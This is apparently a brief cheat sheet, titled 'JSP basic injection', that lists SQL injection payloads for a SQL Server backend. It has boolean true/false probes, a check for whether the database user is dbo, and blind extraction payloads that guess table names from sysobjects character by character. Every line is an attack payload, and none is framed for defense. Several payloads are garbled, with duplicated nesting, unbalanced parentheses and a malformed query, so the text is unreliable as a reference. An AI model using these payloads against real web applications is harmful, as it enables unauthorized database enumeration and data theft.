JSP basic injection

testing method

And 1 = 1

And 1 = 2

And user_name () = 'dbo'

And ascii (Substring (Substring (Select Top 1 Name from sysobjects where xtype = 'u'), 1, 1)))> 109

And ascii (Substring (Substring (Substring 1 Name from sysobjects where xtype = 'u'), 1, 1))> 111

And ASCII (Lower (Substring (Substring (Select Top 1 Name from sysobjects where xtype = 'u'), 1, 1))) = 111

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